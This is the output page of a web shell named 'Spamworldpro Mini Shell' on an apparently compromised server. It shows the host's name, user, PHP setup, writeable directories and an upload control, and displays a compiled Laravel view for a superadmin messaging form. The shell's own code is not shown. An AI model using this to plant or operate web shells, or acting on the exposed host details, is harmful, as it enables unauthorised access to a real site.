Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /home/fdshops/public_html/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/fdshops/public_html/storage/framework/views/8a9f11ad9ee85eb1b79190a175113285cf058592.php
<?php $__env->startSection('title', __('superadmin::lang.superadmin') . ' | ' . __('superadmin::lang.communicator')); ?>

<?php $__env->startSection('content'); ?>
<?php echo $__env->make('superadmin::layouts.nav', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?>
<!-- Content Header (Page header) -->
<section class="content-header">
    <h1><?php echo app('translator')->getFromJson('superadmin::lang.communicator'); ?></h1>
</section>

<!-- Main content -->
<section class="content">
	<div class="row">
		<div class="col-sm-12">
			<div class="box box-solid">
				<div class="box-header">
					<i class="fa fa-edit"></i>
					<h3 class="box-title"><?php echo app('translator')->getFromJson('superadmin::lang.compose_message'); ?></h3>
				</div>
		        <div class="box-body">
		        	<?php echo Form::open(['url' => action('\Modules\Superadmin\Http\Controllers\CommunicatorController@send'), 'method' => 'post', 'id' => 'communication_form']); ?>

		        		<div class="col-md-12 form-group">
		        			<?php echo Form::label('recipients', __('superadmin::lang.recipients').':*'); ?> <button type="button" class="btn btn-primary btn-xs select-all"><?php echo app('translator')->getFromJson('lang_v1.select_all'); ?></button> <button type="button" class="btn btn-primary btn-xs deselect-all"><?php echo app('translator')->getFromJson('lang_v1.deselect_all'); ?></button>
							<?php echo Form::select('recipients[]', $businesses, null, ['class' => 'form-control select2', 'required', 'multiple', 'id' => 'recipients']);; ?>

		        		</div>
		        		<div class="col-md-12 form-group">
		        			<?php echo Form::label('subject', __('superadmin::lang.subject').':*'); ?>

		        			<?php echo Form::text('subject', null, ['class' => 'form-control', 'required']);; ?>

		        		</div>
		        		<div class="col-md-12 form-group">
		        			<?php echo Form::label('message', __('superadmin::lang.message').':*'); ?>

		        			<?php echo Form::textarea('message', null, ['class' => 'form-control', 'required', 'rows' => 6]);; ?>

		        		</div>
		        		<div class="col-md-12 form-group">
		        			<button type="submit" class="btn btn-danger pull-right" id="send_message"><?php echo app('translator')->getFromJson('superadmin::lang.send'); ?></button>
		        		</div>
		        	<?php echo Form::close(); ?>

		        </div>
		    </div>
		</div>
		<div class="col-sm-12">
			<div class="box">
				<div class="box-header">
					<i class="fa fa-history"></i>
					<h3 class="box-title"><?php echo app('translator')->getFromJson('superadmin::lang.message_history'); ?></h3>
				</div>
		        <div class="box-body">
		        	<table class="table" id="message-history">
		        		<thead>
		        			<tr>
		        				<th><?php echo app('translator')->getFromJson('superadmin::lang.subject'); ?></th>
		        				<th><?php echo app('translator')->getFromJson('superadmin::lang.message'); ?></th>
		        				<th><?php echo app('translator')->getFromJson('lang_v1.date'); ?></th>
		        			</tr>
		        		</thead>
		        	</table>
		        </div>
		     </div>
		</div>

	</div>
</section>
<!-- /.content -->
<?php $__env->stopSection(); ?>
<?php $__env->startSection('javascript'); ?>

<script type="text/javascript">
	$(document).ready( function() {
		$('#send_message').click(function(e){
			e.preventDefault();
			if($('form#communication_form').valid()){
				swal({
	              title: LANG.sure,
	              icon: "warning",
	              buttons: true,
	              dangerMode: false,
	            }).then((sure) => {
	            	if(sure){
	            		$('form#communication_form').submit();
	            	} else {
	            		return false;
	            	}
	            });
	        }
		});

		$('#message-history').DataTable({
			dom:'lfrtip',
			processing: true,
			serverSide: true,
			ajax: '<?php echo e(action("\Modules\Superadmin\Http\Controllers\CommunicatorController@getHistory"), false); ?>'
	    });

	    init_tinymce('message');
	});
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /var/www/clients/client13/web23/web/Modules/Superadmin/Providers/../Resources/views/communicator/index.blade.php ENDPATH**/ ?>

Spamworldpro Mini